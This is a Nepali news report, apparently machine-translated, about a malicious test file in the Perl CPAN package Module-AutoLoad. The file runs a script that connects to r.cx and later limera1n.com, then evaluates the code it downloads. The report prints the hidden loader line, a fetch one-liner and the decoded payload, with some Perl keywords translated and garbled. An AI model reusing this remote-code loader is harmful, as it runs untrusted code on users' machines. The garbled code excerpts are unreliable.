Module-AutoLoad Perl प्याकेजमा खराब कोड पत्ता लाग्यो

CPAN निर्देशिका मार्फत वितरण गरिएको पर्ल प्याकेजमा मोड्युल - स्वत: लोड, उडानमा स्वचालित रूपमा CPAN मोड्युलहरू लोड गर्न डिजाइन गरिएको, पहिचान गरियो दुर्भावनापूर्ण कोड। दुर्भावनापूर्ण सम्मिलित थियो भेटियो परीक्षण कोड मा 05_rcx.t, जुन २०११ देखि ढुवानी भइरहेको छ।
यो उल्लेखनीय छ कि संदिग्ध कोड लोड गर्ने बारे प्रश्न उठ्यो थुप्रो अतिप्रवाह 2016 मा फिर्ता।

मोड्युल स्थापना गर्दा सुरु गरिएको परीक्षण सुइटको कार्यान्वयनको क्रममा तेस्रो-पक्ष सर्भर (http://r.cx:1/) बाट कोड डाउनलोड र कार्यान्वयन गर्ने प्रयासमा खराब गतिविधि उबलिन्छ। यो मानिन्छ कि बाह्य सर्भरबाट सुरुमा डाउनलोड गरिएको कोड खराब थिएन, तर अब अनुरोध ww.limera1n.com डोमेनमा रिडिरेक्ट गरिएको छ, जसले कार्यान्वयनको लागि कोडको यसको अंश प्रदान गर्दछ।

फाइलमा डाउनलोड व्यवस्थित गर्न 05_rcx.t निम्न कोड प्रयोग गरिन्छ:

मेरो $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
मेरो $try = `$^X $prog`;

निर्दिष्ट कोडले स्क्रिप्टलाई कार्यान्वयन गराउने कारण बनाउँछ ../contrib/RCX.pl, जसको सामग्री लाई रेखामा घटाइएको छ:

प्रयोग गर्नुहोस् lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

यो लिपि लोड हुन्छ भ्रमित सेवा प्रयोग गर्दै perlobfuscator.com बाह्य होस्ट r.cx बाट कोड (क्यारेक्टर कोडहरू 82.46.99.88 पाठ "R.cX" सँग मेल खान्छ) र यसलाई eval ब्लकमा कार्यान्वयन गर्दछ।

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; छाप्नुहोस् <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

अनप्याक गरेपछि, निम्नलाई अन्ततः कार्यान्वयन गरिन्छ: कोड:

छाप्नुहोस्{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
"; evalor फर्काउने चेतावनी$@ जबकि $b; 1

समस्याग्रस्त प्याकेज अब भण्डारबाट हटाइएको छ। रोक्नुहोस् (Perl Authors Upload Server), र मोड्युल लेखकको खाता ब्लक गरिएको छ। यस अवस्थामा, मोड्युल अझै बाँकी छ उपलब्ध छ MetaCPAN अभिलेखमा र cpanminus जस्ता केही उपयोगिताहरू प्रयोग गरेर MetaCPAN बाट सीधै स्थापना गर्न सकिन्छ। यो उल्लेख छप्याकेज व्यापक रूपमा वितरण गरिएको छैन।

छलफल गर्न रोचक जोडिएको र मोड्युलका लेखक, जसले उसको साइट "r.cx" ह्याक गरिसकेपछि मालिसियस कोड घुसाइयो भन्ने जानकारीलाई अस्वीकार गर्यो र उसले भर्खर रमाइलो गरिरहेको बताएको थियो, र perlobfuscator.com लाई केहि लुकाउन होइन, तर साइज घटाउन प्रयोग गर्‍यो। कोडको र क्लिपबोर्ड मार्फत यसको प्रतिलिपिलाई सरल बनाउँदै। प्रकार्य नाम "बोटस्ट्र्याप" को छनोट यो शब्द "बोट जस्तो सुनिन्छ र बुटस्ट्र्याप भन्दा छोटो छ" भन्ने तथ्यद्वारा व्याख्या गरिएको छ। मोड्युलका लेखकले यो पनि आश्वासन दिए कि पहिचान गरिएका हेरफेरहरूले दुर्भावनापूर्ण कार्यहरू गर्दैनन्, तर केवल TCP मार्फत कोडको लोडिङ र कार्यान्वयन प्रदर्शन गर्दछ।

स्रोत: opennet.ru